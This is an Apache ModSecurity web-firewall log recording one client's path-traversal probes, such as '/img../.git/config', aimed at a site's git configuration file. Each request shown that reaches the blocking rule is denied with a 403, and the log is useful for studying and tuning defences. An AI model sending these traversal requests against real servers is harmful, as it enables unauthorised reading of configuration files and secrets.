[Mon Oct 26 09:31:51.577783 2026] [security2:error] [pid 3039889:tid 3039889] [client 45.138.12.65:65474] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /lib../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at9WR1KL97q0JJCkTAItTQAAAA4"]
[Mon Oct 26 09:31:51.577859 2026] [security2:error] [pid 3039889:tid 3039889] [client 45.138.12.65:65474] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at9WR1KL97q0JJCkTAItTQAAAA4"]
[Mon Oct 26 09:31:51.578009 2026] [security2:error] [pid 3039889:tid 3039889] [client 45.138.12.65:65474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at9WR1KL97q0JJCkTAItTQAAAA4"]
[Mon Oct 26 09:31:51.578274 2026] [security2:error] [pid 3039889:tid 3039889] [client 45.138.12.65:65474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at9WR1KL97q0JJCkTAItTQAAAA4"]
[Mon Oct 26 09:31:51.602741 2026] [security2:error] [pid 3040031:tid 3040031] [client 45.138.12.65:62826] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at9WRyDi6FEnz4zo40NhEQAAAAk"]
[Mon Oct 26 09:31:51.602839 2026] [security2:error] [pid 3040031:tid 3040031] [client 45.138.12.65:62826] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at9WRyDi6FEnz4zo40NhEQAAAAk"]
[Mon Oct 26 09:31:51.602928 2026] [security2:error] [pid 3040031:tid 3040031] [client 45.138.12.65:62826] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at9WRyDi6FEnz4zo40NhEQAAAAk"]
[Mon Oct 26 09:31:51.603115 2026] [security2:error] [pid 3040031:tid 3040031] [client 45.138.12.65:62826] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at9WRyDi6FEnz4zo40NhEQAAAAk"]
[Mon Oct 26 09:31:51.603416 2026] [security2:error] [pid 3040031:tid 3040031] [client 45.138.12.65:62826] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at9WRyDi6FEnz4zo40NhEQAAAAk"]
[Mon Oct 26 09:31:51.604864 2026] [security2:error] [pid 3039996:tid 3039996] [client 45.138.12.65:64808] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/assets../.git/config"] [unique_id "at9WR7TtAEahQmBQcezwYQAAAAc"]
[Mon Oct 26 09:31:51.604929 2026] [security2:error] [pid 3039996:tid 3039996] [client 45.138.12.65:64808] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/assets../.git/config"] [unique_id "at9WR7TtAEahQmBQcezwYQAAAAc"]
[Mon Oct 26 09:31:51.604993 2026] [security2:error] [pid 3039996:tid 3039996] [client 45.138.12.65:64808] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/assets../.git/config"] [unique_id "at9WR7TtAEahQmBQcezwYQAAAAc"]
[Mon Oct 26 09:31:51.605145 2026] [security2:error] [pid 3039996:tid 3039996] [client 45.138.12.65:64808] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/assets../.git/config"] [unique_id "at9WR7TtAEahQmBQcezwYQAAAAc"]
[Mon Oct 26 09:31:51.605398 2026] [security2:error] [pid 3039996:tid 3039996] [client 45.138.12.65:64808] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/assets../.git/config"] [unique_id "at9WR7TtAEahQmBQcezwYQAAAAc"]
[Mon Oct 26 09:31:51.608290 2026] [security2:error] [pid 3036181:tid 3036181] [client 45.138.12.65:5770] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /content../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/content../.git/config"] [unique_id "at9WR0W6-b5XD8XwGa-10gAAAAQ"]
[Mon Oct 26 09:31:51.608354 2026] [security2:error] [pid 3036181:tid 3036181] [client 45.138.12.65:5770] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /content../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/content../.git/config"] [unique_id "at9WR0W6-b5XD8XwGa-10gAAAAQ"]
[Mon Oct 26 09:31:51.608417 2026] [security2:error] [pid 3036181:tid 3036181] [client 45.138.12.65:5770] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/content../.git/config"] [unique_id "at9WR0W6-b5XD8XwGa-10gAAAAQ"]
[Mon Oct 26 09:31:51.608554 2026] [security2:error] [pid 3036181:tid 3036181] [client 45.138.12.65:5770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/content../.git/config"] [unique_id "at9WR0W6-b5XD8XwGa-10gAAAAQ"]
[Mon Oct 26 09:31:51.608779 2026] [security2:error] [pid 3036181:tid 3036181] [client 45.138.12.65:5770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/content../.git/config"] [unique_id "at9WR0W6-b5XD8XwGa-10gAAAAQ"]
[Mon Oct 26 09:31:51.610042 2026] [security2:error] [pid 3027735:tid 3027735] [client 45.138.12.65:17123] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/img../.git/config"] [unique_id "at9WR3T09R7Np-FQ85dksQAAAAo"]
[Mon Oct 26 09:31:51.610112 2026] [security2:error] [pid 3027735:tid 3027735] [client 45.138.12.65:17123] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/img../.git/config"] [unique_id "at9WR3T09R7Np-FQ85dksQAAAAo"]
[Mon Oct 26 09:31:51.610179 2026] [security2:error] [pid 3027735:tid 3027735] [client 45.138.12.65:17123] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/img../.git/config"] [unique_id "at9WR3T09R7Np-FQ85dksQAAAAo"]
[Mon Oct 26 09:31:51.610464 2026] [security2:error] [pid 3027735:tid 3027735] [client 45.138.12.65:17123] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/img../.git/config"] [unique_id "at9WR3T09R7Np-FQ85dksQAAAAo"]
[Mon Oct 26 09:31:51.610760 2026] [security2:error] [pid 3027735:tid 3027735] [client 45.138.12.65:17123] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/img../.git/config"] [unique_id "at9WR3T09R7Np-FQ85dksQAAAAo"]
[Mon Oct 26 09:31:51.835136 2026] [security2:error] [pid 3026993:tid 3026993] [client 45.138.12.65:25610] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /images../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/images../.git/config"] [unique_id "at9WR3J9l6phwCFrVaFgwgAAAAA"]
[Mon Oct 26 09:31:51.835195 2026] [security2:error] [pid 3026993:tid 3026993] [client 45.138.12.65:25610] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /images../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/images../.git/config"] [unique_id "at9WR3J9l6phwCFrVaFgwgAAAAA"]
[Mon Oct 26 09:31:51.835253 2026] [security2:error] [pid 3026993:tid 3026993] [client 45.138.12.65:25610] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/images../.git/config"] [unique_id "at9WR3J9l6phwCFrVaFgwgAAAAA"]
[Mon Oct 26 09:31:51.835519 2026] [security2:error] [pid 3026993:tid 3026993] [client 45.138.12.65:25610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/images../.git/config"] [unique_id "at9WR3J9l6phwCFrVaFgwgAAAAA"]
[Mon Oct 26 09:31:51.835796 2026] [security2:error] [pid 3026993:tid 3026993] [client 45.138.12.65:25610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/images../.git/config"] [unique_id "at9WR3J9l6phwCFrVaFgwgAAAAA"]
[Mon Oct 26 09:31:51.893668 2026] [security2:error] [pid 3039996:tid 3039996] [client 45.138.12.65:64808] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/css../.git/config"] [unique_id "at9WR7TtAEahQmBQcezwYgAAAAc"]
[Mon Oct 26 09:31:51.893718 2026] [security2:error] [pid 3039996:tid 3039996] [client 45.138.12.65:64808] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/css../.git/config"] [unique_id "at9WR7TtAEahQmBQcezwYgAAAAc"]
[Mon Oct 26 09:31:51.893773 2026] [security2:error] [pid 3039996:tid 3039996] [client 45.138.12.65:64808] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/css../.git/config"] [unique_id "at9WR7TtAEahQmBQcezwYgAAAAc"]
[Mon Oct 26 09:31:51.893995 2026] [security2:error] [pid 3039996:tid 3039996] [client 45.138.12.65:64808] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/css../.git/config"] [unique_id "at9WR7TtAEahQmBQcezwYgAAAAc"]
[Mon Oct 26 09:31:51.894261 2026] [security2:error] [pid 3039996:tid 3039996] [client 45.138.12.65:64808] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/css../.git/config"] [unique_id "at9WR7TtAEahQmBQcezwYgAAAAc"]
[Mon Oct 26 09:31:51.956617 2026] [security2:error] [pid 3040034:tid 3040034] [client 45.138.12.65:8013] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at9WR7cZuT5gdeNd6aUJpAAAAAs"]
[Mon Oct 26 09:31:51.956696 2026] [security2:error] [pid 3040034:tid 3040034] [client 45.138.12.65:8013] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at9WR7cZuT5gdeNd6aUJpAAAAAs"]
[Mon Oct 26 09:31:51.956761 2026] [security2:error] [pid 3040034:tid 3040034] [client 45.138.12.65:8013] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at9WR7cZuT5gdeNd6aUJpAAAAAs"]
